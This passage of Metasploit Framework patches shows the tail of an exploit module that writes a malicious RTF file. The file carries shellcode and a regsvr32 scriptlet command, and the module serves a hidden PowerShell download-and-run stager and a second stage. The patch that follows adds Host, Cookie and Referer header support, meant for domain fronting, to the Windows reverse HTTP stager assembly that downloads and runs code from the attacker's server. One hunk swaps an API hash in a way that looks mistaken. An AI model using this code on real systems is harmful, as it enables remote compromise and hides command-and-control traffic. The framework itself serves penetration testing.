+    header << '71756174696f6e000b0000004571756174696f6e2e3300f439b2710000000000000000000000000000000000000000000000000000000000000000000000000000'
+    header << "00000300040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n"
+
+    footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
+    footer << '4500710075006100740069006F006E0020004E00610074006900760065000000000000000000000000000000000000000000000000000000000000'
+    footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000400'
+    footer << '0000C50000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
+    footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000'
+    footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
+    footer << '0000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
+    footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
+    footer << '000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
+    footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000D0000004D45544146494C'
+    footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C500000002001C0000000000050000000902000000000500000002'
+    footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
+    footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
+    footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
+    footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'
+    footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'
+    footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'
+    footer << '00030000000000' + "\n"
+    footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"
+    footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"
+    footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"
+    footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"
+    footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"
+    footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"
+    footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"
+    footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"
+    footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"
+    footer << "00000000\n"
+    footer << "}}}\n"
+    footer << '\par}' + "\n"
+
+    shellcode = "\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ"
+    shellcode << "\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53\x66\x83\xEE\x4C\xFF\x10"
+    shellcode << "\x90\x90"
+
+    payload = shellcode
+    payload += [0x00402114].pack("V")
+    payload += "\x00" * 2
+    payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
+    payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
+    payload = header + payload + footer
+
+    rtf = File.new(datastore['FILENAME'], 'w')
+    rtf.write(payload)
+    rtf.close
+    rtf
+  end
+
+
+
+  def gen_psh(url, *method)
+    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
+
+    if method.include? 'string'
+      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
+    else
+      # Random filename to use, if there isn't anything set
+      random = "#{rand_text_alphanumeric 8}.exe"
+      # Set filename (Use random filename if empty)
+      filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
+
+      # Set path (Use %TEMP% if empty)
+      path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
+
+      # Join Path and Filename
+      file = %Q(echo (#{path}+'\\#{filename}'))
+
+      # Generate download PowerShell command
+      download_string = Rex::Powershell::PshMethods.download_run(url, file)
+    end
+
+    download_and_run = "#{ignore_cert}#{download_string}"
+
+    # Generate main PowerShell command
+    return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
+  end
+
+  def on_request_uri(cli, _request)
+    if _request.raw_uri =~ /\.sct$/
+      print_status("Handling initial request from #{cli.peerhost}")
+      payload = gen_psh("#{get_uri}", "string")
+      data = gen_sct_file(payload)
+      send_response(cli, data, 'Content-Type' => 'text/plain')
+    else
+      print_status("Stage two requested, sending...")
+      p = regenerate_payload(cli)
+      data = cmd_psh_payload(p.encoded,
+                       payload_instance.arch.first,
+                       remove_comspec: true,
+                       exec_in_place: true
+      )
+      send_response(cli, data, 'Content-Type' => 'application/octet-stream')
+    end
+  end
+
+
+  def rand_class_id
+    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
+  end
+
+
+  def gen_sct_file(command)
+    # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
+    if command == ''
+      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
+    # If a command is provided, tell the target system to execute it.
+    else
+      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
+    end
+  end
+
+
+  def primer
+    generate_rtf
+  end
+end

From a78d8f83fc71ca5fe97aec3d32efea329e63cb44 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 18 Aug 2017 16:35:27 +1000
Subject: [PATCH 169/254] Add HTTP header support for Host/Cookie/Referer

This is to start the support for things like domain fronting.
---
 lib/msf/core/handler/reverse_http.rb          |   2 -
 lib/msf/core/payload/transport_config.rb      |  28 +++--
 lib/msf/core/payload/windows/reverse_http.rb  | 108 +++++++++++++-----
 .../core/payload/windows/reverse_winhttp.rb   |  46 ++++++--
 .../core/payload/windows/x64/reverse_http.rb  |  74 ++++++++++--
 .../payload/windows/x64/reverse_winhttp.rb    |  63 +++++++---
 lib/rex/payloads/meterpreter/config.rb        |  16 ++-
 7 files changed, 248 insertions(+), 89 deletions(-)

diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb
index d9a1d7ff4d..5b0db244b5 100644
--- a/lib/msf/core/handler/reverse_http.rb
+++ b/lib/msf/core/handler/reverse_http.rb
@@ -347,8 +347,6 @@ protected
           blob = self.generate_stage(
             url:   url,
             uuid:  uuid,
-            lhost: uri.host,
-            lport: uri.port,
             uri:   conn_id
           )
 
diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb
index c59c85577e..1f5daf9b42 100644
--- a/lib/msf/core/payload/transport_config.rb
+++ b/lib/msf/core/payload/transport_config.rb
@@ -56,16 +56,17 @@ module Msf::Payload::TransportConfig
 
     ds = opts[:datastore] || datastore
     {
-      scheme:      ds['OverrideScheme'] || 'http',
-      lhost:       opts[:lhost] || ds['LHOST'],
-      lport:       (opts[:lport] || ds['LPORT']).to_i,
-      uri:         uri,
-      ua:          ds['MeterpreterUserAgent'],
-      proxy_host:  ds['PayloadProxyHost'],
-      proxy_port:  ds['PayloadProxyPort'],
-      proxy_type:  ds['PayloadProxyType'],
-      proxy_user:  ds['PayloadProxyUser'],
-      proxy_pass:  ds['PayloadProxyPass']
+      scheme:          ds['OverrideScheme'] || 'http',
+      lhost:           opts[:lhost] || ds['LHOST'],
+      lport:           (opts[:lport] || ds['LPORT']).to_i,
+      uri:             uri,
+      ua:              ds['MeterpreterUserAgent'],
+      proxy_host:      ds['PayloadProxyHost'],
+      proxy_port:      ds['PayloadProxyPort'],
+      proxy_type:      ds['PayloadProxyType'],
+      proxy_user:      ds['PayloadProxyUser'],
+      proxy_pass:      ds['PayloadProxyPass'],
+      custom_headers:  get_custom_headers(ds)
     }.merge(timeout_config(opts))
   end
 
@@ -80,6 +81,13 @@ module Msf::Payload::TransportConfig
 
 private
 
+  def get_custom_headers(ds)
+    headers = ""
+    headers << "Host: #{ds['HttpHost']}\r\n" if ds['HttpHost']
+    headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
+    headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
+  end
+
   def timeout_config(opts={})
     ds = opts[:datastore] || datastore
     {
diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb
index 1c9b79b562..5ee674b3ac 100644
--- a/lib/msf/core/payload/windows/reverse_http.rb
+++ b/lib/msf/core/payload/windows/reverse_http.rb
@@ -36,7 +36,10 @@ module Payload::Windows::ReverseHttp
         OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
         OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
         OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
-        OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
+        OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
+        OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
+        OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
+        OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
       ], self.class)
   end
 
@@ -47,22 +50,23 @@ module Payload::Windows::ReverseHttp
     ds = opts[:datastore] || datastore
     conf = {
       ssl:         opts[:ssl] || false,
-      host:        ds['LHOST'],
+      host:        ds['LHOST'] || '127.127.127.127',
       port:        ds['LPORT'],
       retry_count: ds['StagerRetryCount'],
-      retry_wait: ds['StagerRetryWait']
+      retry_wait:  ds['StagerRetryWait']
     }
 
     # Add extra options if we have enough space
-    if self.available_space && required_space <= self.available_space
-      conf[:url]        = luri + generate_uri(opts)
-      conf[:exitfunk]   = ds['EXITFUNC']
-      conf[:ua]         = ds['MeterpreterUserAgent']
-      conf[:proxy_host] = ds['PayloadProxyHost']
-      conf[:proxy_port] = ds['PayloadProxyPort']
-      conf[:proxy_user] = ds['PayloadProxyUser']
-      conf[:proxy_pass] = ds['PayloadProxyPass']
-      conf[:proxy_type] = ds['PayloadProxyType']
+    if self.available_space.nil? || required_space <= self.available_space
+      conf[:url]            = luri + generate_uri(opts)
+      conf[:exitfunk]       = ds['EXITFUNC']
+      conf[:ua]             = ds['MeterpreterUserAgent']
+      conf[:proxy_host]     = ds['PayloadProxyHost']
+      conf[:proxy_port]     = ds['PayloadProxyPort']
+      conf[:proxy_user]     = ds['PayloadProxyUser']
+      conf[:proxy_pass]     = ds['PayloadProxyPass']
+      conf[:proxy_type]     = ds['PayloadProxyType']
+      conf[:custom_headers] = get_custom_headers(ds)
     else
       # Otherwise default to small URIs
       conf[:url]        = luri + generate_small_uri
@@ -71,6 +75,22 @@ module Payload::Windows::ReverseHttp
     generate_reverse_http(conf)
   end
 
+  #
+  # Generate the custom headers string
+  #
+  def get_custom_headers(ds)
+    headers = ""
+    headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost']
+    headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie']
+    headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer']
+
+    if headers.length > 0
+      headers
+    else
+      nil
+    end
+  end
+
   #
   # Generate and compile the stager
   #
@@ -138,10 +158,23 @@ module Payload::Windows::ReverseHttp
     # Proxy options?
     space += 200
 
+    # Custom headers? Ugh, impossible to tell
+    space += 512
+
     # The final estimated size
     space
   end
 
+  #
+  # Convert a string into a NULL-terminated ASCII byte array
+  #
+  def asm_generate_ascii_array(str)
+    (str.to_s + "\x00").
+      unpack("C*").
+      map{ |c| "0x%.2x" % c }.
+      join(",")
+  end
+
   #
   # Generate an assembly stub with the configured feature set and options.
   #
@@ -155,6 +188,7 @@ module Payload::Windows::ReverseHttp
   # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
   # @option opts [String] :proxy_user The optional proxy server username
   # @option opts [String] :proxy_pass The optional proxy server password
+  # @option opts [String] :custom_headers The optional collection of custom headers for the payload.
   # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
   # @option opts [Integer] :retry_wait The seconds to wait before retry a new request
   #
@@ -181,6 +215,8 @@ module Payload::Windows::ReverseHttp
     proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
     proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
 
+    custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
+
     http_open_flags = 0
     secure_flags = 0
 
@@ -222,10 +258,10 @@ module Payload::Windows::ReverseHttp
         push 0x0074656e        ; Push the bytes 'wininet',0 onto the stack.
         push 0x696e6977        ; ...
         push esp               ; Push a pointer to the "wininet" string on the stack.
-        push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
+        push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
         call ebp               ; LoadLibraryA( "wininet" )
         xor ebx, ebx           ; Set ebx to NULL to use in future arguments
-      ^
+    ^
 
     if proxy_enabled
       asm << %Q^
@@ -238,7 +274,7 @@ module Payload::Windows::ReverseHttp
                                ; LPCTSTR lpszProxyName (via call)
         push 3                 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
         push ebx               ; LPCTSTR lpszAgent (NULL)
-        push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
+        push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
         call ebp
       ^
     else
@@ -249,7 +285,7 @@ module Payload::Windows::ReverseHttp
         push ebx               ; LPCTSTR lpszProxyName (NULL)
         push ebx               ; DWORD dwAccessType (PRECONFIG = 0)
         push ebx               ; LPCTSTR lpszAgent (NULL)
-        push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
+        push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
         call ebp
       ^
     end
@@ -267,10 +303,10 @@ module Payload::Windows::ReverseHttp
         db "#{opts[:url]}", 0x00
       got_server_host:
         push eax               ; HINTERNET hInternet (still in eax from InternetOpenA)
-        push 0xC69F8957        ; hash( "wininet.dll", "InternetConnectA" )
+        push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
         call ebp
         mov esi, eax           ; Store hConnection in esi
-      ^
+    ^
 
     # Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
     # doesn't set the Proxy-Authorization header on the CONNECT request.
@@ -286,7 +322,7 @@ module Payload::Windows::ReverseHttp
                              ; LPVOID lpBuffer (username from previous call)
         push 43              ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
         push esi             ; hConnection
-        push 0x869E4675      ; hash( "wininet.dll", "InternetSetOptionA" )
+        push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
         call ebp
       ^
     end
@@ -302,7 +338,7 @@ module Payload::Windows::ReverseHttp
                              ; LPVOID lpBuffer (password from previous call)
         push 44              ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
         push esi             ; hConnection
-        push 0x869E4675      ; hash( "wininet.dll", "InternetSetOptionA" )
+        push #{Rex::Text.block_api_hash('wininet.dll', 'HttpAddRequestHeaders')}
         call ebp
       ^
     end
@@ -317,7 +353,7 @@ module Payload::Windows::ReverseHttp
         push edi               ; server URI
         push ebx               ; method
         push esi               ; hConnection
-        push 0x3B2E55EB        ; hash( "wininet.dll", "HttpOpenRequestA" )
+        push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
         call ebp
         xchg esi, eax          ; save hHttpRequest in esi
      ^
@@ -334,7 +370,6 @@ module Payload::Windows::ReverseHttp
       send_request:
     ^
 
-
     if opts[:ssl]
       asm << %Q^
       ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
@@ -345,7 +380,7 @@ module Payload::Windows::ReverseHttp
         push eax               ; &dwFlags
         push 31                ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
         push esi               ; hHttpRequest
-        push 0x869E4675        ; hash( "wininet.dll", "InternetSetOptionA" )
+        push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
         call ebp
       ^
     end
@@ -354,17 +389,32 @@ module Payload::Windows::ReverseHttp
       httpsendrequest:
         push ebx               ; lpOptional length (0)
         push ebx               ; lpOptional (NULL)
-        push ebx               ; dwHeadersLength (0)
-        push ebx               ; lpszHeaders (NULL)
+    ^
+
+    if custom_headers
+      asm << %Q^
+        push -1                ; dwHeadersLength (assume NULL terminated)
+        call get_req_headers   ; lpszHeaders (pointer to the custom headers)
+        db #{custom_headers}
+      get_req_headers:
+      ^
+    else
+      asm << %Q^
+        push ebx               ; HeadersLength (0)
+        push ebx               ; Headers (NULL)
+      ^
+    end
+
+    asm << %Q^
         push esi               ; hHttpRequest
-        push 0x7B18062D        ; hash( "wininet.dll", "HttpSendRequestA" )
+        push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
         call ebp
         test eax,eax
         jnz allocate_memory
 
      set_wait:
         push #{retry_wait}     ; dwMilliseconds
-        push 0xE035F044        ; hash( "kernel32.dll", "Sleep" )
+        push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
         call ebp               ; Sleep( dwMilliseconds );
       ^
 
@@ -404,7 +454,7 @@ module Payload::Windows::ReverseHttp
       push 0x1000            ; MEM_COMMIT
       push 0x00400000        ; Stage allocation (4Mb ought to do us)
       push ebx               ; NULL as we dont care where the allocation is
-      push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
+      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
       call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 
     download_prep:
@@ -418,7 +468,7 @@ module Payload::Windows::ReverseHttp
       push 8192              ; read length
       push ebx               ; buffer
       push esi               ; hRequest
-      push 0xE2899612        ; hash( "wininet.dll", "InternetReadFile" )
+      push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
       call ebp
 
       test eax,eax           ; download failed? (optional?)
diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb
index c6f1eb838b..f30dbefa15 100644
--- a/lib/msf/core/payload/windows/reverse_winhttp.rb
+++ b/lib/msf/core/payload/windows/reverse_winhttp.rb
@@ -29,24 +29,26 @@ module Payload::Windows::ReverseWinHttp
   # Generate the first stage
   #
   def generate(opts={})
+    ds = opts[:datastore] || datastore
     conf = {
-      ssl:         opts[:ssl] || false,
-      host:        datastore['LHOST'] || '127.127.127.127',
-      port:        datastore['LPORT']
+      ssl:  opts[:ssl] || false,
+      host: ds['LHOST'] || '127.127.127.127',
+      port: ds['LPORT']
     }
 
     # Add extra options if we have enough space
-    if self.available_space && required_space <= self.available_space
+    if self.available_space.nil? || required_space <= self.available_space
       conf[:uri]              = luri + generate_uri
-      conf[:exitfunk]         = datastore['EXITFUNC']
+      conf[:exitfunk]         = ds['EXITFUNC']
       conf[:verify_cert_hash] = opts[:verify_cert_hash]
-      conf[:proxy_host]       = datastore['PayloadProxyHost']
-      conf[:proxy_port]       = datastore['PayloadProxyPort']
-      conf[:proxy_user]       = datastore['PayloadProxyUser']
-      conf[:proxy_pass]       = datastore['PayloadProxyPass']
-      conf[:proxy_type]       = datastore['PayloadProxyType']
-      conf[:retry_count]      = datastore['StagerRetryCount']
-      conf[:proxy_ie]         = datastore['PayloadProxyIE']
+      conf[:proxy_host]       = ds['PayloadProxyHost']
+      conf[:proxy_port]       = ds['PayloadProxyPort']
+      conf[:proxy_user]       = ds['PayloadProxyUser']
+      conf[:proxy_pass]       = ds['PayloadProxyPass']
+      conf[:proxy_type]       = ds['PayloadProxyType']
+      conf[:retry_count]      = ds['StagerRetryCount']
+      conf[:proxy_ie]         = ds['PayloadProxyIE']
+      conf[:custom_headers]   = get_custom_headers(ds)
     else
       # Otherwise default to small URIs
       conf[:uri]              = luri + generate_small_uri
@@ -93,6 +95,9 @@ module Payload::Windows::ReverseWinHttp
     # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
     space += 31
 
+    # Custom headers? Ugh, impossible to tell
+    space += 512 * 2
+
     # The final estimated size
     space
   end
@@ -167,6 +172,8 @@ module Payload::Windows::ReverseWinHttp
     proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
     proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
 
+    custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
+
     http_open_flags = 0
     secure_flags = 0
 
@@ -434,8 +441,23 @@ module Payload::Windows::ReverseWinHttp
         push ebx               ; TotalLength [6]
         push ebx               ; OptionalLength (0) [5]
         push ebx               ; Optional (NULL) [4]
+    ^
+
+    if custom_headers
+      asm << %Q^
+        push -1                ; dwHeadersLength (assume NULL terminated) [3]
+        call get_req_headers   ; lpszHeaders (pointer to the custom headers) [2]
+        db #{custom_headers}
+      get_req_headers:
+      ^
+    else
+      asm << %Q^
         push ebx               ; HeadersLength (0) [3]
         push ebx               ; Headers (NULL) [2]
+      ^
+    end
+
+    asm << %Q^
         push esi               ; HttpRequest handle returned by WinHttpOpenRequest [1]
         push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
         call ebp
diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb
index a9048731b4..4821709236 100644
--- a/lib/msf/core/payload/windows/x64/reverse_http.rb
+++ b/lib/msf/core/payload/windows/x64/reverse_http.rb
@@ -36,7 +36,10 @@ module Payload::Windows::ReverseHttp_x64
         OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
         OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
         OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
-        OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
+        OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
+        OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
+        OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
+        OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
       ], self.class)
   end
 
@@ -52,14 +55,14 @@ module Payload::Windows::ReverseHttp_x64
 
     conf = {
       ssl:         opts[:ssl] || false,
-      host:        ds['LHOST'],
+      host:        ds['LHOST'] || '127.127.127.127',
       port:        ds['LPORT'],
       retry_count: ds['StagerRetryCount'],
-      retry_wait: ds['StagerRetryWait']
+      retry_wait:  ds['StagerRetryWait']
     }
 
     # add extended options if we do have enough space
-    if self.available_space && required_space <= self.available_space
+    if self.available_space.nil? || required_space <= self.available_space
       conf[:url]        = luri + generate_uri(opts)
       conf[:exitfunk]   = ds['EXITFUNC']
       conf[:ua]         = ds['MeterpreterUserAgent']
@@ -68,6 +71,7 @@ module Payload::Windows::ReverseHttp_x64
       conf[:proxy_user] = ds['PayloadProxyUser']
       conf[:proxy_pass] = ds['PayloadProxyPass']
       conf[:proxy_type] = ds['PayloadProxyType']
+      conf[:custom_headers] = get_custom_headers(ds)
      else
       # Otherwise default to small URIs
       conf[:url]        = luri + generate_small_uri
@@ -76,6 +80,22 @@ module Payload::Windows::ReverseHttp_x64
     generate_reverse_http(conf)
   end
 
+  #
+  # Generate the custom headers string
+  #
+  def get_custom_headers(ds)
+    headers = ""
+    headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost']
+    headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie']
+    headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer']
+
+    if headers.length > 0
+      headers
+    else
+      nil
+    end
+  end
+
   #
   # Generate and compile the stager
   #
@@ -89,6 +109,7 @@ module Payload::Windows::ReverseHttp_x64
         pop rbp           ; rbp now contains the block API pointer
       #{asm_reverse_http(opts)}
     ^
+
     Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
   end
 
@@ -137,10 +158,23 @@ module Payload::Windows::ReverseHttp_x64
     # Proxy options?
     space += 200
 
+    # Custom headers? Ugh, impossible to tell
+    space += 512
+
     # The final estimated size
     space
   end
 
+  #
+  # Convert a string into a NULL-terminated ASCII byte array
+  #
+  def asm_generate_ascii_array(str)
+    (str.to_s + "\x00").
+      unpack("C*").
+      map{ |c| "0x%.2x" % c }.
+      join(",")
+  end
+
   #
   # Generate an assembly stub with the configured feature set and options.
   #
@@ -154,6 +188,7 @@ module Payload::Windows::ReverseHttp_x64
   # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
   # @option opts [String] :proxy_user The optional proxy server username
   # @option opts [String] :proxy_pass The optional proxy server password
+  # @option opts [String] :custom_headers The optional collection of custom headers for the payload.
   # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
   # @option opts [Integer] :retry_wait The seconds to wait before retry a new request
   #
@@ -180,6 +215,8 @@ module Payload::Windows::ReverseHttp_x64
     proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
     proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
 
+    custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
+
     http_open_flags = 0
     set_option_flags = 0
 
@@ -327,17 +364,15 @@ module Payload::Windows::ReverseHttp_x64
 
     if retry_count > 0
       asm << %Q^
-          push #{retry_count}
-          pop rdi
+        push #{retry_count}
+        pop rdi
       ^
     end
 
-
     asm << %Q^
       retryrequest:
     ^
 
-
     if opts[:ssl]
       asm << %Q^
       internetsetoption:
@@ -351,15 +386,30 @@ module Payload::Windows::ReverseHttp_x64
         pop r9                        ; dwBufferLength (4 = size of flags)
         mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
         call rbp
+
+        xor r8, r8                    ; dwHeadersLen (0)
       ^
     end
 
-    asm << %Q^
-      httpsendrequest:
-        mov rcx, rsi                  ; hRequest (request handle)
+    if custom_headers
+      asm << %Q^
+        call get_req_headers          ; lpszHeaders (pointer to the custom headers)
+        db #{custom_headers}
+      get_req_headers:
+        pop rdx                       ; lpszHeaders
+        dec r8                        ; dwHeadersLength (assume NULL terminated)
+      ^
+    else
+      asm << %Q^
         push rbx
         pop rdx                       ; lpszHeaders (NULL)
-        xor r8, r8                    ; dwHeadersLen (0)
+      ^
+    end
+
+
+    asm << %Q^
+        mov rcx, rsi                  ; hRequest (request handle)
+        xor r9, r9                    ; lpszVersion (NULL)
         xor r9, r9                    ; lpszVersion (NULL)
         push rbx                      ; stack alignment
         push rbx                      ; dwOptionalLength (0)
diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb
index 7ba6de3b35..358115e464 100644
--- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb
+++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb
@@ -30,24 +30,26 @@ module Payload::Windows::ReverseWinHttp_x64
   # Generate the first stage
   #
   def generate(opts={})
+    ds = opts[:datastore] || datastore
     conf = {
-      ssl:         opts[:ssl] || false,
-      host:        datastore['LHOST'] || '127.127.127.127',
-      port:        datastore['LPORT']
+      ssl:  opts[:ssl] || false,
+      host: ds['LHOST'] || '127.127.127.127',
+      port: ds['LPORT']
     }
 
     # Add extra options if we have enough space
-    if self.available_space && required_space <= self.available_space
+    if self.available_space.nil? || required_space <= self.available_space
       conf[:uri]              = luri + generate_uri
-      conf[:exitfunk]         = datastore['EXITFUNC']
+      conf[:exitfunk]         = ds['EXITFUNC']
       conf[:verify_cert_hash] = opts[:verify_cert_hash]
-      conf[:proxy_host]       = datastore['PayloadProxyHost']
-      conf[:proxy_port]       = datastore['PayloadProxyPort']
-      conf[:proxy_user]       = datastore['PayloadProxyUser']
-      conf[:proxy_pass]       = datastore['PayloadProxyPass']
